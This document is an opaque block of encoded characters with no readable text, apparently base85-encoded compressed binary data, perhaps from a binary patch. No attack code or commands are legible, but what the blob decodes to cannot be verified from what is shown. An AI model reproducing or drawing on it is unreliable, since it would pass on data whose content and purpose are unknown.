zG7-41fz^se(s>P;M7i<$_sbk-;-Q4hRG~oS=@+%yZ?b4g3;#vuk^b6|$otkEiG$;5 zGp4N>`rX@(PEG{zFC5r>ZpC#gL`!)C*OQY&!x6e}zPq-Dq_XU2(fLU}o!#+W@pP%9 zql550%efZUUpuw7qTl!CCNhz-c3J5MqUj$sXo5u})0>u7RzrI@nX9&5=pLH?9m_Ra zzJr~$t6-dnp6|AeW@d$YdRaD$+M>!J{}d(-Cw)q^d>0ebjkP8V?JgNAp|zma(&%VZ zmM9v?b1<4)Y`*#sma&@e?shxgWr0Qs23rv!uT{hr7~6gjhTO+DiU-X;V9;rN2AEQ7 zXTh-`=eG5{4C+@|fxR(Pb#hWE>4Wpmq~6H#6?gt1s)EX*NP!fHKpfCmwQCHVqOt=& z3r>%Z>r;IIa6id`(_!nr6)EZNITUiw(x|9s^|_5`3pR7a=jY}55&4VRVF)g&X}nDN zr@aeNZ*n2K9JTy!<)20W-2Ybo-M)RA^_bQ|K@zI%SDj3L{}2R`)%UHf2D6D5pm#Pl zz6(JZr(i6^8->*Vx;io*>r^n2pU6T$zX*{JdSw-n8yKg~98&~b$6-~Xz$H=~)-o6s zAh(f8s{;IUz0rPCI2K|?g&%DLK?e)PH#QrLofh}yg@-j6ZKHcdu_yj&pS7ldU4Rd9;mE4sOrUUm{;XU1mAH&8?}eq z5PUijU~otL_>2wg)z#EohdvDdot6*sB7$q5;E6_Ntn_#${|6>*C1pwWpIa%**wig) zNQBr8dBWw%jnT)a!zud<^&Nt!60|hbY0vD9;nh*P>m7?57SP`>QFS)IFI}A{J#hJG zxhvYloxE=N&>P4L!BvucGcTK%_|okO`)Pu)Ftmwag)h6lT8x zAN4kOYE@Cp4UJGMM3%3%t4MuCaEsd;j~IU9^nHRlzz+(Nv99CN&Dx)%4=*ckQixMS zo}w@KlKR_3%wpjjqdmKN>im=7@LXP=t@3SUBVXeRo#)xX>RGVjoEj9%wx9m`<#*5G z@3LT=ZU6T^*$m^)so0Mm{hgh2?P_>iNIw8$jdwk?(`6N!7n!4|ZU39t(0?ZT-G`Wn zhwJy+MZ~EQ0?o~ZJC_6-h~XSF*{YIFVn-2(f&tl=UqMMJCWc}A3TD<%gM%2J$rQ&c zA{W+cYke{mr9i!`Z%(|;|FQIOO8(c{Ajm>KQr%Xl-rf{7}Dte#FJaRnfj4Fj=f}uP6pr-_US< zcNfzf*FPyOEsb3eF9Q_0P6Pp$f1!z|nuOm$j8iL|A8{QYZv_j(rF>M2z>TJ43*|XE zvUQnvrSK6X2XRzaU7T!-PTeV3oEe#!JC_9G)SNxoUectcUQ=?7WVBa!wR@)UB)rBA z3yyfmrr*;a-JLI!lwDFH#-pGuBhPDqrroJjSYjsv_phmGLHd80t_x)|QrMRMfOF&LAZP3&9sWRQg^CEEkLJ_rnYIRz42q>O}pK z=D*{Y3uk8={_)S>DxcIsCj7&=b!hm2{*<2+&4e|V^R>I4p4VWtlaZ1^{p}83q8uuT zh@k!g=&K>)V;~dSoEl0PWne63Gc?tae2R<1ZMFRFd>o}}3^;apku8DBKIjBjtmFRt zU7a=;jggd>c_GS+omLt=Dz$zQ5%nv6V9}*#VHq4A@Of-$Y6|sSkgy}H_HYj5C~@cv zS#gMu?nE5_asIi2MR4i3JC4HiSo&_$m-QUH1}9po9>$?>5=OAd`}5mwxoBInJglpL z8ppFk-=~2L3^C2W$=;_+4)0=rDWIpnM;27Piy3lFzaA=6t=4F#437gi9ArL;b$CqO zOqY79dt)DI&nb#M({WtnR%X3xA?}!&nH^Wdq2-0V{2@<<$r-jVPw8J>k>h*g11DsjmO3#3|7&sKUC9CW<4Y&t<4bVH=?>| zGKuBnoTWFecXOu>1BI->K;i0&#iiDi3dC%?%SD>j|WM1(<7wqX|AI4 zuk;KkTFjJ`om^wMOy7IN4`-|xXRMAAI`>;YRAY)PJ@QZBwN;u@61gMh|FWa8{@pK( zJgO}OEx{#FJ9~Nkt+U#8BLhFNm98-=v_caP3=D>7H)enQsP_wm7)eP<&woDpapg@z zq0)+a_chlf7q|6dc3zpWU}U;K(rHs&U0qA6CWPvg@o5I8f^jIi0Sj+m&V#_}09@>l ziji%gZ@t)X`xi0sLsS%$&K(GKk1zW8`STqd5&@|PlX_Q8T!gIie#9KG2ZA4I-9Df! zE-*0g&(lcQd_kd?Syr~(?j_VfZ4clE5K&}8o+JcB7z+1K114`1zOA1ri+aMvg}*cn zBAS(zFe0w5DlIiUG+ri)87l$TZx0q%pi-J__1{Do0nye-8qeQxHR6BJ!w6EloEVY(iItdSUbVC_rH73&RdjN4cDd|J z6~rt`exk1BWyqsXg08$DP(^!*><5iRM@E%}B2&dMW00l6Ctm3k)oJH$vRy@tWxa66 zj4})ea4%9%JOZ;!KpLeQY4oNn105YSGp&Kz3~=3cm&2|c$ymk@=fDdb0cc*%q~yRx3y~YM_~dA?ey%_S-or6f>z2fW+p-v`ABO z%&3iwwDkAmRZbTFYAnMSxjX0~B1HaZ=s7i<@4U_2-33y!ZDUAyT_j{8(#>Piq=kZ~ zHaG?S{=zqHJ0ki@W2j0?!&n0aML^VV-nJO2N7m|U-nKeR_UH15W;(1w=HElUf3}L; z+M+X!T(IDQ>5v7=qcl@PLqovEDs!<*D?6K$n;)|L8u4k+nR+aZ?9}u)BJ1vtRQcaz<(9atg&N$<#~VWgeOc0D$K@dH}r+w7)x z-mZOWbMSZ(GA64>#Cx9zgsxmsg5>0q17N^={#1k@Mi!TI7MzJI-hMr$4rt0samDkU z;N0AuF7pv(PQFbHcm}FRaakTs^54Dl&@XBH&|DHQFg7vOY`=gl#(O^4Ip&Qic*Aaz zw_|0oDX`;R4#d&|S@_;TQ%7@EGae>>x2Q!p2cPPukja zh&fHswbEKzE{p2Et*ksTpQLN(Mz>%Sng%t`=z!iJ9b<9OGt)}SxjCcn!Ssd}ZpOVK z@$ly%r*Gx6@Non%S1>p;7QY=$E2x26a~y=-7Q3$ST=}=+zL1kpR>%e->iV}B^ zGp3I*$6v83E$tD20sbUx#*24J=w2{9ug&3@0H#LH=pY3PhlQN{mbH^&|KCS9@<2%9 zA>uZbi!HcwARf5PoccsfO|7dL5y!SJ>Y9;Wm|Y}X7;&&;J0Vf5kM9-&hYidACrr@pmiFdj~)pk=Ig7|^Ft5(b0$DnBnoi$L@U03O)<7qE3BxP2P0 zx+)kmcn>v7o~igrW9wTkZe!1PVG>q2i4ScPX3}ah>~bk46a1s9UI*?30aePZEWOT7 z3V3~s`1QdorrPF?zeiq(i$#j-gy`f?NB7C-eQAxQ8P-l!rgz&#l;4EO~`?w~(^~9S+N+L)H41{s?ikUfCS!3H1`Fd~v zobE%ER3c57DrS2O>@I=Vk+HFg#>O;@bW|KpJ-0-v3-*c zv><W~ z$pW-_0T_Snk3Rrj$YK2X-*bz&WAuGc8J3LqWpNMy1wnp5%3>vLen~^2r~!RKLm#|+ z=f=ayFeT#P0N~X8c8$MZ+;$eAKZKX$V0qe8TL6Gysl^pn9r36H^hAJ#_;kx{4u`0);9v$l)Acf%wm$K?(=Fg7cj;^O)oYn zz6=&qkiXN1{nZP0!-Eb4q`=Q1$0VG-M$n`oa-gX))t;mM5Q^ z-jffj@A|66f8HRkq!L%mO19_CP- z(>k)zP7v8dbV78Vf#G1{J>>xYGv&xDpX&jzNeBzL+XSpcc~g-`+gTuQodu&A zIUq^p5#18Zz>7ljG*<$Ct3Gblor`vZ=gq z2Jrzrbzs#YqnCbwbcTlffan2+732IWwQNejJTJ-Vw_Z%TRo!opiYRJ;1yL;Sy;2X& z)VBI`nm1PV_eJ@^B)Fp&nE07{LBdS_UE=AG zMr}a-by~Ku^+!_z7vv#w5dbXBHp>AZzn+4Kz1D&dZ25V%#>SucnvX&0fX$&7eFs}c zQaUy^)&PsiMQUYd(V@j?tgdym@FVlnic(9f5h*D<9-Fx;i_M6P^IGo=G!$|1U03@7 z{Y@EC>D?LPXZkhAYk^^nO50d6$-LN3wsYgX)y5;cvsp-cneATWiVff7EGzbG7F$p< z)?A-9LruCd4gwF&sfaF;$^fcqj#fpI_lG1 z{SN>|EFc8{%A>P6o1cO9DX}($niuOEtC za+GuXsq+uW+!-1ere|80lzi14o(siceuz}P3_r+|oW-0Dwxa#2H$USpiG+~JsL|Ci zHzcMDytUjY;ahS$@m~5lQ_nL%Dz&VpMgSK^M7$KY-7OYuGeqWI~>dps*upTRXqr1jC50%r{%b|LYGP6y!N z0v^#XRNVL>pJsCl%m%-9d3-u+O;-_Z3jl=XvHx_!X7D2T8D01j+ZADmsX{`-@;p1c z9f9g1qPtaJZJA#n@pOe&mW(!%5Ar-hMXdZP-{8W69YMkp92=dG;Jo^+w_(;FMvhq8 zV&8*i*NMaaRlgPe&ToJz!a$BXZry$1n2DMcjvDCyC9VEe1X&GQ@=Ij|Rg=uxuE*J# zlBMePWhyhsN(BAt2ZdshWI>dbqaXF z-sy)wbbVx%hs7JmALLc|6%`d3qCpliAhW+t`Vai7SZ_;0DmDu0MLj1Et>2c^aX_!X z=mdySSar61+`(lwIP$vN^``5@i|DJ+Pl;RN$hqaY98p`Z{@SF2?8NIa^>IYO;9rA{ ze~)>K+o?c!3>^zyC0=5L<=gF2LV{PkZzXtxBHW*Wll}a>5pvk_qr3=}1y_9rOe)2O zf{H)J^eRw@DQ86#jMHL%yea=UN4gP*w8s(^J%-+vKc*A4nEw{18)-!b#xr}u|Ix7g z|Ey=h3b=Ga?iG*Alpv?`nWC{TH$ZpA!8j(syUeSy3r5CF6|#@#!mVsat_s zR3G2yylHGJiD>k%!T6OCII?NaD|DR(A>h!TRG24hZCwV&i2wei@jj1tJsDdT!;~^C z25jmK-Jd0GdkH?dEVGy<{ffR|DAeqmBP;G&7$+<@)r5sLqo_C`F@NJEXH3Z{*Rt0g z_lF2SFdhOKm7N60jbfh6@6*#PPf`w(;aWkrH=Hl!vaYVL5n%g6oag+8O5otwZr#!AGv~)xN^zo5(fIEHjlsyaZvTE)H+uvf}uXj+nASsnI;L=v2>GG zazR1AqN?u!P$YNz&K=57Si~*^O2u!KKae@2 z=wq6~OSRGEuWc#E55v{dzQ2AcS;%AbicwipkXdlJ#b_7W&SnY?E-xE*Pf45MR=T_N z8&YARJM(03&X2w@C+F<{a&S{qQ315bd?mxL7weM&el<9gmKW;9u?Z)Bf;Oae_EwBKh+nfBQIARQ-{TcX)mr1CQzjB7yLpqfKUg7+0Ec>I(NEM+nxf+LD&8S?ug zL7zm(st$TV$`~Yl8Uac~oC8TC!<=ptL5D5fq0_VmO&LfE_#x!tu(zdW^gZV1C&;GP z0io#GwxX?VKM)dHn(3WCAQ^5S+8}@J%s9FopI!!F5>J=kWP{&K$3%Wm#}rMlnzHI~ zS^eVY=C7B(rCJsvHnRqX=rN?i%3qxqNb<9`k_+-!AO@BVSf=mF21DC`)0YfLG7fN3t1Eu1P+4J3w z!eei?66BSOZT2HWyMDm$tEs7D|N60n`T8DoUUfPVtJ^tvgJVD=S!!7oPta>EF!oKBI)oNzPn6J*0iahf*K|LYdxPF16^bH-4R=%{DQ2KCsPUf_j%|R$VOpE}1}3gL2ZthnWmn!*HMj zUC+r@=yp+4I$VgW+ard~D*a%VH=t11btkJ8XQ) z4;a4oL1L1`H)zEUC+3=Ovtp#?j3Z#xw)@soX`Xj7n_6d7{YpJ5AwkD1DWO~&T;hWR z+lQb|>(~wn%F&7gbP*h#Jp43yQ93t*HM(0#KoLM_V{A$a(y*=PQB6hE@15`VQEUth zgRc@wgCaw{PA?m4;y!N-6DJPBG{ptW;M(}>Bz_O55MHRW#;b18Vd+Vqg)&!GP2QQ>R|)1Jkohv4Ru92ltNTK zkg82gPBwUzTegreuTc$#M@q{`CUMNXTl@5jJp5)lfM4rw!i!BMKL5o6Zk)|nf+t0t z9SEB_$@;yn4>irik={H%&gn?h|2`DLaYSucT3!G9b=>C!x{YeSbJt$i;G~dYrFbJz zTo0@vZgra6H<45C*C8!vJvU-Z8ANV3I*#PXgF?0~*C zfNP3M15ijr?H+*5SXia347xpuDoIyu`N(g(w+M;wv$Oklf6vR!eIF12ZLN3v`j)Op z3qDpFyyW=aSrifxoa=#4ao`G)hW)Sgw2X|zcTyoU8Ank- zULr~i^~XK1zP`S`xVV5&kjcoHB%S(6As`N#W6)L~NmHv+oH0meH)YwRs z&0imnKUh(ms<>dVDk{op`C#^@%A8chU%4yTM4|QBC&qky<2{=v7ZOp+lgOw8RZ zQuKodLzxXRh}!0L8G`v!lyz}~;Nb^ACDTMxOQ%`DU{+2mw*qVHzwhlI)lJdr75_O_%z!aT@EQJNkapwgw@qUS}>a- zEeB!L7~H~C)O-}3Sv;hqfD^j|Uiek0WBHoh649M1R$_LxzC=!5ZYZhhSr0YUU{@y^3JR!$w3MY$_R2wc2#xjX;iUi40^vmBf`FhA zyRA{|F$b<4iQy9aqTkAVNr<7}c?><9GQ6Q=>4rq%~p6CfoJP1iQ5nm8VPfxea zoG#aKI~&EuiCi6fOe^=&_7?rBA%)z_?!bHarTgcYDiRt$ciXh@jo#Tq4g!CN=&|y4KN54xGy3foEwv@tIs2g*M>z}fimU=bdErhzgwWZ3; zybty=*#|;0^77X^Qx=xo8j|wCjP$)MEZMk=F}MUJIUretRL@p>FG5^m`@v5Habyys z(kb{~GUd-hq$z=iXk++ci{(FW<=z4hw4l z{5V6W0epHG=leiPdGr_U_D^loCLKwT)0V4iX2uLjht*2Ng-?wJXNB;wD=6R)5rn5W zJ2|^y$9|iqita07j_t%)%?*$$oTla)6)iR2{kd3q1)62vd!QZ=yZx9NLO%RjMJJ;x z?~fAyKb~P}B8lU0Nm7$oVlC^4BaPa1u{U+&|atyZKQk(U?R!}hiU6w{A;4BTv`bZCN2SZj)iDoU) zXC6mK$AanZiHXlOo(gtH2YN;dgEKR~!3j*2mYyy%7R?|<0QKUK`#XZ_E2X}U{rcRs zhTVPVTTEh{#BC!A38FKk*ulw3PIh($m4x(_lir19*Xq2es00<$<(8zpJpO(P3A+BF zSUSwixebj8ga=hs?D%;2#$OVNu(3bH{~zYwDyqu13mXNL?v@f2kWlGH=?0}iP(ivx zT0**{q`SLOL`qshx;v!1OG;u--tT+&_{P6a_Q5{b4o_U*if7%=eb0H#E22NH%?Y++ zVPTY|G+1>kw1O1@vgm(~w=2uI`1t4X>}13Ee;)OZj)q4@9_~3R+`qmJI{& zeb|>AS~;)cA?Nno#2NeO?--0{KD?QYJawAv9RbeN8(bgdWK<%Y(o2>9kaK_O3p$OW zPE_f7q){MEBh?qGB=ruRJ3s@4YFRG!YhHf72+P@IImPIxEjAWb-Zcl1PKe$Nj|>&+ zG#F?NlTCd;u(6pdQ(fMB>b%zCC z$Efr9dB)-}f3vi<6utZy!1*p<{=NhlzmI(+6nQ6Gb z_wqwpCJrSp5gGCC02Su<+8;iI)Yd-zjwXtxx&R!Ukh^@Zb6-&PzXLaP@lR4WCAK@| zscB@`=^xw~pH$IN7IcX}&$yZ`nYS=MHDAt?i+j#cO)vgRr@kgS{yU6wou^s zIzk$wGBj!_^e0H6w8+5Pt%6-hLV-I|`(P6>KxfM1SSeaQ!v9Bh+sA^!2jMC@OdPQ^ z+xR^J{-lMpPo7Z82Or05zeswzyyh6x_UMj)k)7Hr=t#YBIRCgKxL}Pa$FRHtBTgyV z)AmW(Tw>2VC8gwISCUvPPA~fbk62-O*}i(Hs}mOiE)RXLUz0qJ>sylUlCCtFdAHEg z@hOy&E`5qYH_b{-jrdeQdd~{=8C80@Cy8-?QGr39N2U|6Ci46cATZT6U*!-O`%MRoDgB zaMJEdunoNLuN&qB#4W3;4^9`nk3i1oiXqk}C!rOLgeT~FHDO2FlO2_7Smo(|+74t92u$1hoJmiz&*qNSsQGlBFf zEhQ{03@l?r;x)m+n|c|{DK7t>{Irm2SCC0}j|SLn;>(*UDCdEu3YD9-;;sCrf`V?- zyoDgUKiQgCgvl?_v+J{M7)JyCE@-aw|-S;3$ZjIl(Yw;OE|z7=I1>lfUOJ3y?alB@0yQ zh87jAq1Tm=!julw9*h@~k(!FKd(^tcKWGVCN$89KMZ0^TER zxL6Ils5o23fp6+v&_n1ctKpr<$jB(S3n4m7H6T3f)_UI0VG$n5ef{|`1mzD=)1TQh zmxAPG0FQaXcoyk98P1#?%eiIL##EQgtrn;D7W6Qy_&PG~4?@WG-=p=z+8^IhaVS|q zigJ4D0~h3`>#i;awBknk9K-ZEwKn?T>@XJS&)&4@KDbN!=X231;pus4jYRF8z4cZ< z!HM2%eXy0~^&3~0wY6~5KCG7 z)vKwQt3hb5bL8W>O;$ zaq1WE!Ys0cS6?L0g=UQvPoWL!jrDSay$OmvDo@~?b{Dwawc6plRu@K^n9@P$5Fa4S zhEdlHyUo&G&*wFzS{MzJ5)Z99HYY1bq=$=bGdhZBes`p6 zY_Z5hOj1FIbeewU_u86CRWmrwz?bNn`qX;fYW&6*#D1eiK~U)=u~7tp%G|)`dQ&$HHMF#Gn&evtJ_5F>i>>etof`nzdyKM{aq}x zn!Vsx3`&k2g9U5O?yNiOyK%fQNvp+{nXA&p;;9;kZAA@@M2@k^(PPRu$i4aCMZrW{ zP#zg+D=ONgIW+{(ia};tNc-ux)Y}&f^m&&ZL%(Y(a&xokAJP^S>l z>RQUO3C%{$bQB4wlLugc{$Z7+H-Rr1{ioEDPxBuN;6?f&ZSuUUby*j+ku8WGIc0wH z@!iXYiVQW-D+v~8f&42WE-vaJ){NqazAdl?d<3+qYXyPfJJymFBCL4OsPnu>!0J)& z^mLLbh12g6>qD=z(e824)BIcC>~^;JK5dT8zn@r=A>^fGmc79meC8X|7oC3muxUas z1o^gi2x9D`{EP=bKJMzSeDmQ#>?T=@iA$`6(F^dfp!UJle2l&}t8(;vDh#-$9%@KD zrw}@iE{o0%2nVK+)!VV!kE=6cyh|dya=Gt<(iC8^B}GL&=5HV^BaElVYA}=^R%c{f z-*BIdLr?|T!#$fcx_*=}v7y|dbaTjt++0~1g-ID~f^eAB46=hO_8gUG$0ATzo#mqP z$y$OvJ=51DJFrbkzh{NFwk~}3F=~FcGl->=gR@3^6L|=CkH;KMX6Iyk1MFJrAM%9qGrh z+D(=SKrKj{m^o={oeqscc&OTC99JtAfwgID(N|Gk^7aeWuV0ct@Td3k35$+Kb`W%P zLorZSUzu@5-54nbRSOsP^UqpVwwW;~jx3;JvvOFCS;WrC`hFNm!DIPnckI<;=9Jpn zq~h&(Pj8f2_r13RO~~?sp&EJjbhuxHVg(xwhcmo=R{qb-kyOy>fEV8fk`CGOELca) zL|t5_!<$jXyS%^jkBw10bAFe-L-yJqyf3;Qd*L7wV(s{NmZ4$d9`5axG&p+tcSq8P z+!#fwM&_Gd?z+ajheLFx;RIy(h{0~Bl#iYa{ZMH;*`0AeJ;kqe8E`rMgY<-6{d8a7 zxIYHOZV!bBNGv9&>pr@J{52-VV)u8$tp|jLH|g#VP>v9nWcANHnDwe>*&ocSnTuXu z-Gb5%l^l`_5ch(9SWI!R>B}c@#uGRTLZtzcV3H>d){A~1?Eqc!&SZJy07Y<2+FG6j zc zIP!~1+iA-_&0A%TpGRnLhJ0a3`8h&QPfxnjvv=leWs!|qC?nl2-6f2j!BINr=ytvq z9UnjNUCO}`bJTEVW2zEhsyg>~=Ojfi{5GdZBy_HJev7SUKWh$^0kFOZC~Qpzel>xI zbP+9Qk;XcW^AMbI4{D72-b0?TvnpMXXxEJ#{_I-U$OwhoKXb7dj*zA|tze+x<8zz+ zpcv$qP#)i7ouiM;u!#8zsh+hq%NWxf$c9KMSSARv3^sA81&&o;$wt3*&%%O z5SV~8Qe9oo>l9J{2JK9~JGZLpWmU44TC;EgF;UdC0&Nc7bl973dUVq#M~8>EjE(je zB-%n#*ZR}FqeplxEVgC4JleQ`1G@IBQJd8Z%*~2c0G)jGs_#}C)-nEMd_sckgBDTh zTRtQV)V$2UAlnG2g?W1uOp%Y(9d0t*7_oN%&=}Av!`qx7y!?Cjh zw_-QlyiF)N;FjbuAH{O}0mK>5qlg)i4D_*SC~H+&{RB}FOr#WZaSReYOrX6h|N52X z0trGnDcoFsz6L4I+G=0wOszHe)sF%XkCT%#jsC5kvhkk{wfXt^SC#L-Riw;W^-AM~K|vtIPxw~?j$lIDP7%i3Kjd-TY_UZr zM*>QvX3)t_PhWtr5)tt#?GD_>mHKTsc#dah$aNo2>S3D!X(Nz1L7;pNj%(fB^5Zlb z8X9>dTc!1`e?<^Y2&R{}MhZzyUYJZl4FkDb>7+-nq<}OMn4s0JfMiUmq2(u`cBQj^ z_ET>;t4-ya^EDa7?p(>KE^o7*71>vmt{wBUcSi>ZQgb>ov)qNNc7zkOK zN_gniufAc0w$boB`nly5qv|{j`H>{al2%@yaC@JbdU`!rSfJh5k*J$6GopNs{AFNfh6wF_fLxd)4T^!1{16%|lCGi^ zr+qYK+kgEz?t#f-tlWb7H7g~~C!YYZFdZC8RLELHYM} z;0M_MW57ZFuWbjs2Z(L`_jyFX0tl=q|9NL#{b@IpjsGuRfD!_nQYG)*CU|^b&obQS zrQm;F;UL#@W9=HpF67&*i`^VB8l>Ui5M&hbY8@RO4tqNg^Z2Yk=yt2`88Y7wC*M{H zawaA)4Im&e8UJsRMf(5jWvS2Y>^M{VV#CAnd!QW#hZ z%w_&!Q@wb2WQ1unDLx+fJLay>o^dB)2Z3p@{4O5@!ztXd5I7I=Nn#Bs2!jFw{`@%< za-FPjIs}UM;IPBO))b=ZR<_2c-~B;!H&4>U!~{m1cE793!SxS>$dNHQ z+0yT|L&)Wx@bFZodGNTN2SY;`moRFqeiL90Y3h)9+p{bSAv(ifb-oTJ0IBN1gQgn$ z*@J~2n09Nq^2vfO<6&^5OG&m0=T2vZSc{6*jx(ht02u;i^y+;n&!j>qQ8vt%+UF^F zEVNi>C&$O*qV`Wt+?S5xn&;Kar8;CfAYL?{-w;gkDe|coz&fm?0g#@w32H$%khke_ z`2y1v3>l=I_rmaRp&mu!Gi889gR=6_>l8sF*?QMQ5^?z&T$jss!&v%l-Y-4nHd>n)ViQg5Gk>kEOR?AGaascS?-Lz7Qa1Jq3(hyn3*;= zm;CVqU7PqfT3YZcfQh8iz#wA=@8g)XmwE9tnTuMapYoS-#`z1MI_*>&_Ly;~sQkyO z=Jwg4Fr+R4K{SEK@&kB{8a+>>6mk=ldxhy-m!=#Msq*D@G&2Lk)=;H`vP~(YT1H6Y zc*nm{;7O(4Sa*j%Cx!s=lC;=m$v+$>_83@LoE#j7`)B;-E5RU7QY#Y_)`Q{W4uC?{ z$D_pp)IyHnFk~#bTV=Z0K`7O_^Fl_t-|)lMIG^>xZAbILEOck*^Dy_N zwf(FX+JT7OXSM1@FHz8CWJ2EM=Mv%JL4rrlAh3t{dsDa~!^KKs%7%H0q{+OBX!(WsScOFK3fS&?I7?L<4h%fGvmTSgG z$hN-p%M2{VkVq7zKJsM`fW|C2E^d4@13MA|sei+v4p6h5$?RPcn6N@^I|%^!!I#uj z9msXy|fRTj=PXNnSx-$wYK2;{+eyU2Sb7L518DGKR+KB+BM$ zzkvDs@$2~ng9i}VzL#%rHg=r;m7Vxd*M7T2|7r7*I=f@(MXQZ*LHXJqvRKef-4}?Xr@Bgh&-- z$n}T~VU58{*h(>RmMx5@R*nc z4p2i~RNFrX{yM@Z|F*^FcZ9xxG$ZVXTXW9c-!+?SCSv4ec$7Rj7lj%us7JdW!6U}s z-|8zawOI25VFtI0Q)HZw9@8nr<-}$kn(&M*X^@vyH*e&)4gGnS@CE(>b_V(-SvRR~JFVJpi&X^&KKCSw^8$R6g!p1(h<5$e6e| z;X%lM?C*uFljm`)Uk10UYZ|Co(`G{_q#!5q&)Q6R2DKVv+8X%twRekG+bkDAX$2M@ zP;nUQmyq}=;vuf(OdhK;dbgkH3ei(LWw)L6DPd$a1ku-6{nQpwx;s1ulfvo` z>rZW#tdx1ddTOKG9Q0nGvjpgsz$rc=DIq)_bo#$mNuQ^%Tl6;~cEvo=-B6I0e_iRe z*oyg~prFhaVChwuidWaWIISGzn|+XyP?LywbtV!N7zjK8dAWAR7s0V_zui7y=abow zx?Ll!EE3<=(HiYX*C3;9|c=6`l)Q)wGZz?^zKczx)8a(KAY z`hlVJ>e3R-8<)T{aKxXQj4VGq^A|Z88ElQ;wd<xZ3qEv;U(+ zl{STmagWqn5hz!s>>RzR4QPLFWc<>s%Meimdx$?jL@K(1(P*1O5;^FsfKk`eO-@9L znT8T##ZQ9n_8bijjgyrV0r@3c76q9k+N7k~^XQK0I^$iiFahydPhTG{HuinpyUIh# zK!<6jd2p}JuuF0P-#S1>2BdQnrB0Eatg2MwnnAITx5v|)_w}Xn%#@(?*vRwq^&1@= z4vP$b5&ZdiKxkh~lkn7Eh}0w1~|aWOkPi&>{sLouwcr)OYv^kMTgbUT9_gEI5r zYV!7xLQ0kJIRr+|<15W2{;0ElRsW80Tq=x=np)#kgF(a~)PK1Oi3#E1i0el8n0@t+ z8O~2pZTVj7?F2+bCDodZB#5EnvX;W^NergraLZog#OD-cJW!K}&sq|%@VR}e@mglR zKTI*EEI1J7w`d5&F-ezHeDQ;BXieDDLsnWEATyk=IqwWn7gf`xG)bvCH$ov0;v{lgD4X^`gc>q3GC(-c zx=DpnT`z3cS8v$4@eOpOQ&i-{h|%Z>*eJmxKEEajw29AQUq{AU6U z?cFN0I8xB!)!VIOe20svYRx(hKKCNxpfCtD;^%v|GxFUydt+^jPXPSxh0#3c5GxTo zhre2qQxXiO>&F&qFhkl80#~WtGSi+rkWV)@&b`8QfgwctM7tCW?|>*gYp6sx`$0BUA952x&i`NX>+uP%H+mZ(S znPHOQ5md+cgknfOkp5&QL!(L1DJ#o2F`=w%rEEpCItTL}4WEqW1N` zgw))k#q77u4dRb#YSA!z^gQG?RklyB1Ez1Gb5P%^T!|)a&JO^p)YXk%nxJV!+_g2) z(^Gw^8iz+38<`v(hxawJxOKk7R{=Xm`X2Uwy38d7xZh6@k%S9l9v=BYhY&B1lN-^D zh9de^`&nyBc(vUG#=~Q(TWe8;V_(1-tY@gpc5hB3J06Kqh8Zp35*5eD&{*un$<7;# zcQ20DW}c`paG*_0@P#Xd2L{RlxJ1XNkWwuiAGnPlDJFDQw)K6r7f!DjC6g%D53OM9 zk4rVJv;U(Kh^(tUu(>NmUj98MzcZY|>16ie#ZHN?7)+I6JUCJBZFn;H3zI=4yXXDb zsNQ7RI+$AJS;CGtM2Jp)my)v7sf#;I5@7ujw2y3V7hs{edfYywcqUfjQf@uF;P-9*jd6HQeFV)ojIuIzrN$tU=*5LMAmJSa+_06{? z>RTT?!zJI6fxRLE!CPCkvevg_fD-(8dsRDlJQM-arO`cr>uza`#U8Ho!t{Q+Cox2v zYTpsr%HtlQve`xyV@F2^Q$gp)x?+Cdc>kX~+fFTx^Z;QEMSD$?mqCt>GXxM|x@AgJT|GiiM=TLo%L#&k4*Yi-okE2J;^^j>xM zbmVtFNaQp3gUkyUU2m+d1@;hnKMPclPOGPeVV;Y&pbMRz{z7@V-AZ>#@jXf#Mt*4p zb@lh1Ssm8jtaV&!xw2`0{#vxztNn*idHak|_y0yxH+B*2f*Ra~gGhQh^dwQn`Qi-- zFmKuQr&d4RoGC6GSB-%HsLAs3x8J+Sp3k9q8a!Z|y(8=fR;K#;i-Fi+#Ht8eAhckC zmUOvU23f`)ZEE{Zbf0?Yyw&va^K<_AH!rWi%-nS3OR*a~NbP0B1p?Xu`=DL0eEjU^0=Ip483hQ|RsIK? zP0!_1J-)%9Zz5%dUN}0oT;2M6h>7v=d0aod3p027+uy!fS9~yroH(Ptq*fmfQWl>Z zv~x-57J!>)$$(gf3B?xpU8nz}Hrw@pAG*Hm-5>i>QkUZR6bv_RyGCL}lAbm4m*bQmJ_g!4SP)h;A*Wmxdt-Tp4l*1D#l%O)aY zWGX{W@?TAw3x%rGENW_7S6@eOUte@gjIM1q?fAPbhX+E93WYQo{tQ}ZO7b{wg4N>r znV6Z={<|YsLUAL|-qU$O{m}t&yk+7S;zixdH`XTB4!Mn1cS^CTSbtePWW6JZqThV{ z{2Mj}4u#;I9lSE z?oHM0w)-R^qsxl?oq1I2??yuwXj0e^;7J|{RWW` zpdUYG>ORub(f#w`Jz~*x&Kj@)h9Kj$l1}E=V7LeFxMMq9((V`gpG4DH^N$rdGdlW` z&>ySj;R*Sb_J9#B*b%oX3Jqi(*DsKm_W`90JV9n=&Z)m;CyA|R1FZ*G`|3>5 zI<8#SEoiQM=1{dk1PkR;$C8fkELvr2z?T4Bqn(XS3YU3IYHDiva&Sn<)k-2G=O+rD zFQkmhKAK~-PC@L3vOuP)m5*n?h=ai>5%cRf>X6`IKpoo4OoxD)sgxm(9xu-v+x3{_ z=gqZ5u)!Tv`jYwD?$3td)dhc!f^6(|PA0HA6GO8S`oLVr*F>Cw{Bo}u7m9p1mSKVi z*mI#)ImYK3m)H=hskRU*x#b-26NX+$?W?vvSZ#wC{%k2yA&B_VC}<7LNbcNunImr+ zY3y{gHt@=_jtjVLy>ve%E{z^~JDr0RB{}+qvmaFXY(AXLVAcCta~DeF_AG zgoM=8pj7F*N3r+n7XpG43HJbk6E=L(Lj6V^Ygz-^DVRx>!Z&k$x$C~OvokuW_<0RN z5kM<=htot62&N#YNZ@vra~$sI2*8k1bbN8cuN`~Hj9`x<)PcIJ-1UE4SIqk~# z�+W`}-9O9+#UARX|c8XNnetN@ZBihOS9scJ!ISuoIp}EnhV%x%$J1Vv#c#z<~0M zab+MALLBt}`R;z;t}~D-wWrJCcexm2Me%&mu9Lm~)!K?q0~dgcyx1yMPtwux6ljj1 zn*o=g>bE~HU~q~SI{GD9JtZ(CAQl z4cv?NwziA(7rPDa#(gPIrVY=V2Dm##;T~kx_;LY`oDA)ke|H;H88&qr|M@W5Bw3l$ zrDh|6H@?;*{_GJnW8?uH2JG4F%Rp6G2#44?E9(x11NlVmVypQkxQR0dWdS|;oUi#k 